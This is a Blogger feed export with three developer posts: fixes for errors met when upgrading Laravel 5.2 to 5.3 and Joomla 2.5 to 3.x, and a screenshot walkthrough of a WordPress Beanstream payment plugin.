tag:blogger.com,1999:blog-90990735700006650722024-03-24T16:32:15.769-07:00Nelson DesaiWell, you knew it was coming, right? I had to decide to do something for my friends as a favorite this holiday, because i have lots of fun to searching, and I think they come out beautifully. Besides that, they make awesome gifts, especially u also post on this, I hope you have a Happy Thanksgiving today.Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.comBlogger48125tag:blogger.com,1999:blog-9099073570000665072.post-31349524293920475772017-01-11T02:05:00.000-08:002017-01-11T02:05:15.539-08:00Errors while upgrading laravel 5.2.* to 5.3.*<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;">Hello Friends,</span><br style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;" /><br style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;" /><span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;">Laravel update from 5.2.x to 5.3.x</span><br style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;" /><span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;">Sites update from laravel 5.2.X to 5.3.X here is a list of some errors with solutions.</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;"><br /></span>
<span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;">-----------------------------------------------------------------------------------------------------------------------</span><br style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;" /><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px;"><b>- laravel/framework v5.3.9 requires ext-mbstring * -> the requested PHP extension mbstring is missing from your system.</b></span></span><br />
<div>
<br /></div>
<span style="background-color: white;"><span style="color: #274e13; font-family: Arial, Verdana;"><span style="font-size: 14px;">CMD: sudo apt-get install php7.0-mbstring</span></span></span><br style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;" /><span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;">-----------------------------------------------------------------------------------------------------------------------</span><br />
<span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px;"><b>- php-http/curl-client v1.6.2 requires ext-curl * -> the requested PHP extension curl is missing from your system.</b></span></span><br />
<div>
<br /></div>
<span style="background-color: white;"><span style="color: #274e13; font-family: Arial, Verdana;"><span style="font-size: 14px;">CMD: </span></span></span><span style="color: #274e13; font-family: Arial, Verdana;"><span style="font-size: 14px;">sudo apt-get install php-curl</span></span><br style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;" /><span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;">-----------------------------------------------------------------------------------------------------------------------</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;">-----------------------------------------------------------------------------------------------------------------------</span><br style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;" /><span style="color: #222222; font-family: Arial, Verdana;"><b><span style="font-size: 14px;">- phpunit/phpunit 4.8.9 requires ext-dom * -> the requested PHP extension dom is missing from your system.</span></b></span><br />
<div>
<br /></div>
<span style="background-color: white;"><span style="color: #274e13; font-family: Arial, Verdana;"><span style="font-size: 14px;">CMD: </span></span></span><span style="color: #274e13; font-family: Arial, Verdana;"><span style="font-size: 14px;">sudo apt-get install php-xml</span></span><br style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;" /><span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;">-----------------------------------------------------------------------------------------------------------------------</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;"><br /></span>
<span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px;"><br /></span>
<pre class="lang-php prettyprint" style="background-color: white; border-color: rgb(88, 157, 186); border-image: initial; border-style: dashed dashed dashed solid; border-width: 0px; color: #656565; font-size: 14px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><pre class="lang-php prettyprint" style="border-color: rgb(88, 157, 186); border-image: initial; border-style: dashed dashed dashed solid; border-width: 0px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: "Times New Roman"; white-space: normal;">For more details mail me on </span><span style="font-family: "Times New Roman"; white-space: normal;"><span style="color: #0b5394;">nelson.desai@gmail.com</span></span><span style="font-family: "Times New Roman"; white-space: normal;"> or </span><span style="font-family: "Times New Roman"; white-space: normal;"><span style="color: #0b5394;">comments</span></span><span style="font-family: "Times New Roman"; white-space: normal;"> here.</span></span></code></pre>
<pre class="lang-php prettyprint" style="border-color: rgb(88, 157, 186); border-image: initial; border-style: dashed dashed dashed solid; border-width: 0px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><pre class="lang-php prettyprint" style="border-color: rgb(88, 157, 186); border-image: initial; border-style: dashed dashed dashed solid; border-width: 0px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><div style="color: #222222; font-family: "Times New Roman"; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #38761d;">--</span></div>
<div style="color: #222222; font-family: "Times New Roman"; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #073763;">Thank You</span></div>
<div style="color: #222222; font-family: "Times New Roman"; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #073763;">Nelson Desai</span></div>
<div>
<span style="color: #073763;">
</span></div>
</span></code></pre>
</span></code></pre>
</pre>
</div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com2tag:blogger.com,1999:blog-9099073570000665072.post-17921251328570473752014-06-10T02:17:00.000-07:002014-06-10T02:31:24.045-07:00Errors while upgrading joomla 2.5 to 3.xx<div dir="ltr" style="text-align: left;" trbidi="on">
Hello Friends,<br />
<br />
Joomla update from 2.5.x to 3.x.x<br />
Sites update from joomla 2.5.X to 3.X.X here is list of some errors with solutions.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.joomlabamboo.com/blog/images/howtojoomla/how-to0fix-joomla32-upgrade-error.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Errors while upgrading joomla 2.5 to 3.xx" border="0" src="http://www.joomlabamboo.com/blog/images/howtojoomla/how-to0fix-joomla32-upgrade-error.jpg" height="160" title="Errors while upgrading joomla 2.5 to 3.xx" width="320" /></a></div>
<br />
-----------------------------------------------------------------------------------------------------------------------<br />
<b>Strict Standards: Non-static method JSite::getMenu() should not be called statically, assuming $this from incompatible context in serive/templates/yoo_infinite/warp/systems/joomla/layouts/com_content/article/default.php on line 13</b><br />
<br />
<span style="color: #274e13;">Line 54 reads:</span><br />
<span style="color: #274e13;">$menus = JSite::getMenu();</span><br />
<span style="color: #274e13;"><br /></span>
<span style="color: #274e13;">But it should be:</span><br />
<span style="color: #274e13;">$menus = $app->getMenu();</span><br />
<div>
<span style="color: #274e13;"><br /></span></div>
<span style="color: #274e13;">If $app is not defined before please define app before calling.</span><br />
<span style="color: #274e13;">$app = JFactory::getApplication();</span><br />
<br />
-----------------------------------------------------------------------------------------------------------------------<br />
<b>Fatal error: Call to a member function isAdmin() on a non-object in serive/plugins/system/remember/remember.php on line 42</b><br />
<br />
<span style="color: #274e13;">replace serive/plugins/system/remember/remember.php</span><br />
<span style="color: #274e13;">with old remember.php [old means old versions of your project in 2.5.X before start update]</span><br />
-----------------------------------------------------------------------------------------------------------------------<br />
<b>Fatal error: Call to a member function getInt() on a non-object in serive/administrator/components/com_postinstall/models/messages.php on line 37</b><br />
<div>
<br /></div>
<div>
<span style="color: #274e13;">administrator/index.php?option=com_installer&view=manage</span></div>
<span style="color: #274e13;">see it working admin panel then follow next step.</span><br />
<span style="color: #274e13;"><br /></span>
<span style="color: #274e13;">need to fof folder copy.</span><br />
<span style="color: #274e13;"><br /></span>
<span style="color: #274e13;">replace a serive/libraries/fof folder</span><br />
<span style="color: #274e13;">with latest version which you install.like Joomla_3.3.0-Stable-Update_Package.zip</span><br />
<div>
-----------------------------------------------------------------------------------------------------------------------</div>
<br />
<b>Warning: DOMDocument::loadHTML(): Invalid char in CDATA 0xC in Entity, line: 2 in serive/templates/yoo_infinite/warp/helpers/dom.php on line 44</b><br />
<br />
<span style="color: #274e13;">@$dom->loadHTML($input);</span><br />
<span style="color: #274e13;">// $dom->loadHTML($input);</span><br />
<br />
<b>-----------------------------------------------------------------------------------------------------------------------</b><br />
<b>Fatal error: Call to undefined method InvalidArgumentException::get() in serive/templates/yoo_infinite/error.php on line 20</b><br />
<b>OLD</b><br />
<span style="color: #274e13;">//$error = $this->error->get('code');</span><br />
<span style="color: #274e13;">//$message = $this->error->get('message');</span><br />
<b>NEW</b><br />
<span style="color: #274e13;">$error = $this->error->getCode();</span><br />
<span style="color: #274e13;">$message = $this->error->getMessage();</span><br />
-----------------------------------------------------------------------------------------------------------------------<br />
<b>JHtmlBehavior::mootools not found.</b><br />
<br />
<span style="color: #274e13;">Somewhere in your template, you are using:</span><br />
<span style="color: #274e13;">JHtml::_('behavior.mootools');</span><br />
<span style="color: #274e13;">or</span><br />
<span style="color: #274e13;">JHtmlBehavior::mootools();</span><br />
<span style="color: #274e13;">but this code is no longer supported in Joomla 3.x and it has been removed. It should be replaced with something like:</span><br />
<span style="color: #274e13;">JHtml::_('behavior.framework');</span><br />
-----------------------------------------------------------------------------------------------------------------------<br />
<b>Notice: Use of undefined constant DS - assumed 'DS' in serive/modules/mod_jvbingtranslator/tmpl/flag.php on line 13</b><br />
<br />
i<span style="color: #274e13;">f(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);</span><br />
<br />
-----------------------------------------------------------------------------------------------------------------------<br />
<br />
<pre class="lang-php prettyprint" style="background-color: white; border-color: rgb(88, 157, 186); border-style: dashed dashed dashed solid; border-width: 0px; color: #656565; font-size: 14px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: 'Times New Roman'; white-space: normal;">For more details mail me on </span><span style="font-family: 'Times New Roman'; white-space: normal;"><span style="color: #0b5394;">nelson.desai@gmail.com</span></span><span style="font-family: 'Times New Roman'; white-space: normal;"> or </span><span style="font-family: 'Times New Roman'; white-space: normal;"><span style="color: #0b5394;">comments</span></span><span style="font-family: 'Times New Roman'; white-space: normal;"> here.</span></span></code></pre>
<pre class="lang-php prettyprint" style="background-color: white; border-color: rgb(88, 157, 186); border-style: dashed dashed dashed solid; border-width: 0px; color: #656565; font-size: 14px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><pre class="lang-php prettyprint" style="border-color: rgb(88, 157, 186); border-style: dashed dashed dashed solid; border-width: 0px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #38761d;">--</span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #073763;">Thank You</span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #073763;">Nelson Desai</span></div>
</span></code></pre>
</span></code></pre>
</div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com1tag:blogger.com,1999:blog-9099073570000665072.post-53531851841791583062013-01-28T00:49:00.002-08:002013-01-28T00:51:57.558-08:00Beanstream Wordpress Plugin<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;">Use of Beanstream Payment plugin in WordPress.</span></span></span><br />
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;">I create a one simple plugin in wordpress which can make a payment using beanstream payment...</span></span></span><br />
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;">Here you can see some screen of plugin back-end and front-end.</span></span></span><br />
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><b>Screen 1: </b>You can see '<i>Beanstream Payment</i>' Plugin.<b> </b></span></span></span><br />
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><b><br /></b></span></span></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-chQ98DFDEVk/UP-5xwDe6JI/AAAAAAAACEY/zaRvc5XNcns/s1600/Beanstream_plugin_before_activate.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-chQ98DFDEVk/UP-5xwDe6JI/AAAAAAAACEY/zaRvc5XNcns/s1600/Beanstream_plugin_before_activate.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px;">Screen 2: </b><span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px;">You can see '</span><i style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px;">Beanstream Payment</i><span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px;">' now activated and plugin create a custom 'Beanstream' menu in admin back-end.</span><br />
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px;"><br /></b>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-UYsMLxhA6sM/UP-5x4Tbk6I/AAAAAAAACEg/zwS7Wa-FzDs/s1600/Beanstream_plugin_after_activate.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-UYsMLxhA6sM/UP-5x4Tbk6I/AAAAAAAACEg/zwS7Wa-FzDs/s1600/Beanstream_plugin_after_activate.png" /></a><a href="http://1.bp.blogspot.com/-UYsMLxhA6sM/UP-5x4Tbk6I/AAAAAAAACEg/zwS7Wa-FzDs/s1600/Beanstream_plugin_after_activate.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><br /></b></a><a href="http://1.bp.blogspot.com/-UYsMLxhA6sM/UP-5x4Tbk6I/AAAAAAAACEg/zwS7Wa-FzDs/s1600/Beanstream_plugin_after_activate.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="background-color: white; color: #222222; text-align: left;"><br /></span><b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"></b></a></div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b><br />
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b><br />
<b><br /></b>
<b>Screen 3: </b>Here you can see we write a short code 'beanstream_payment' which we can write in post and page where we want payment form. which replaced by payment form by plugins.<br />
<br />
<a href="http://3.bp.blogspot.com/-ta_HKSyUQoE/UP-5y3XEQgI/AAAAAAAACEo/KnMX2D1hpKk/s1600/Beanstream_plugin_short_code_in_post.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-ta_HKSyUQoE/UP-5y3XEQgI/AAAAAAAACEo/KnMX2D1hpKk/s1600/Beanstream_plugin_short_code_in_post.png" /></a></div>
</div>
<a href="http://1.bp.blogspot.com/-UYsMLxhA6sM/UP-5x4Tbk6I/AAAAAAAACEg/zwS7Wa-FzDs/s1600/Beanstream_plugin_after_activate.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://1.bp.blogspot.com/-UYsMLxhA6sM/UP-5x4Tbk6I/AAAAAAAACEg/zwS7Wa-FzDs/s1600/Beanstream_plugin_after_activate.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><br /></b></a><a href="http://1.bp.blogspot.com/-UYsMLxhA6sM/UP-5x4Tbk6I/AAAAAAAACEg/zwS7Wa-FzDs/s1600/Beanstream_plugin_after_activate.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"></b></a>
<br />
<br />
<br />
<b>Screen 4: </b>Here you can see a payment from on font-side which shot code replaced by plugin.<b> </b><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-jgbal8L2jYY/UP-5zOoPZUI/AAAAAAAACE0/c1C0KkBkygk/s1600/Beanstream_plugin_short_code_in_post_frontend.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-jgbal8L2jYY/UP-5zOoPZUI/AAAAAAAACE0/c1C0KkBkygk/s1600/Beanstream_plugin_short_code_in_post_frontend.png" /></a><a href="http://2.bp.blogspot.com/-jgbal8L2jYY/UP-5zOoPZUI/AAAAAAAACE0/c1C0KkBkygk/s1600/Beanstream_plugin_short_code_in_post_frontend.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><br /></b></a><a href="http://2.bp.blogspot.com/-jgbal8L2jYY/UP-5zOoPZUI/AAAAAAAACE0/c1C0KkBkygk/s1600/Beanstream_plugin_short_code_in_post_frontend.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"></b></a></div>
<br />
<br />
<br />
<br />
<br />
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b><b><br /></b>
<b>Screen 5: </b><span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;">You can see a validation also occur during payment for validations i use validations js.</span></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<a href="http://1.bp.blogspot.com/-8Q8eVhPV248/UP-50AyPBfI/AAAAAAAACE8/j67-foJN5Po/s1600/Beanstream_plugin_short_code_in_post_frontend_validation.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-8Q8eVhPV248/UP-50AyPBfI/AAAAAAAACE8/j67-foJN5Po/s1600/Beanstream_plugin_short_code_in_post_frontend_validation.png" /></a><br />
<br />
<br />
<br />
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px;">Screen 6: </b><span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px;">User also see a validations message, this validation occur on server side[beanstream server].</span><br />
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px;"><br /></b>
<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="http://2.bp.blogspot.com/-J7PknwB_gHA/UP-50XRAndI/AAAAAAAACFE/M5fYdFDAah0/s1600/Beanstream_plugin_short_code_in_post_frontend_validation2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-J7PknwB_gHA/UP-50XRAndI/AAAAAAAACFE/M5fYdFDAah0/s1600/Beanstream_plugin_short_code_in_post_frontend_validation2.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><br /></b></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><br /></b></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="background-color: white; text-align: left;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><b>Screen 7: </b>After successfully transactions this message print for user replace of payment form. </span></span></span></div>
<div class="separator" style="clear: both; text-align: left;">
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-qvp3EKZP0yM/UP-5zPUkjaI/AAAAAAAACEs/AxgEa0Tylgc/s1600/Beanstream_plugin_short_code_in_post_frontend_success.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-qvp3EKZP0yM/UP-5zPUkjaI/AAAAAAAACEs/AxgEa0Tylgc/s1600/Beanstream_plugin_short_code_in_post_frontend_success.png" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><br /></b></div>
<div class="separator" style="clear: both; text-align: justify;">
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><br /></b></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><br /></b></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"><b>Screen 8: </b>On admin side you can see all transaction details also you can edit/delete exiting records.</span><span style="background-color: white; color: #222222; font-family: Arial, Verdana; font-size: 14px; line-height: 20px; text-align: left;"> </span></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-kZi-sPahSTA/UP-5x7Wi5kI/AAAAAAAACEc/HDFAQ6JfnR4/s1600/Beanstream_plugin_admin_menu_list.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="259" src="http://1.bp.blogspot.com/-kZi-sPahSTA/UP-5x7Wi5kI/AAAAAAAACEc/HDFAQ6JfnR4/s640/Beanstream_plugin_admin_menu_list.png" width="640" /></a></div>
<br />
<br />
<br />
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"><span style="color: #222222; font-family: Arial, Verdana;"><span style="font-size: 14px; line-height: 20px;"><br /></span></span></span>
<span style="background-color: white;"></span><br />
<pre class="lang-php prettyprint" style="border-color: rgb(88, 157, 186); border-style: dashed dashed dashed solid; border-width: 0px; color: #656565; font-size: 14px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><span style="background-color: white;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: 'Times New Roman'; white-space: normal;">For more details mail me on </span><span style="font-family: 'Times New Roman'; white-space: normal;"><span style="color: #0b5394;">nelson.desai@gmail.com</span></span><span style="font-family: 'Times New Roman'; white-space: normal;"> or </span><span style="font-family: 'Times New Roman'; white-space: normal;"><span style="color: #0b5394;">comments</span></span><span style="font-family: 'Times New Roman'; white-space: normal;"> here.</span></span></code></span></pre>
<pre class="lang-php prettyprint" style="border-color: rgb(88, 157, 186); border-style: dashed dashed dashed solid; border-width: 0px; color: #656565; font-size: 14px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><span style="background-color: white;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><pre class="lang-php prettyprint" style="border-color: rgb(88, 157, 186); border-style: dashed dashed dashed solid; border-width: 0px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #38761d;">--</span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #073763;">Thank You</span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
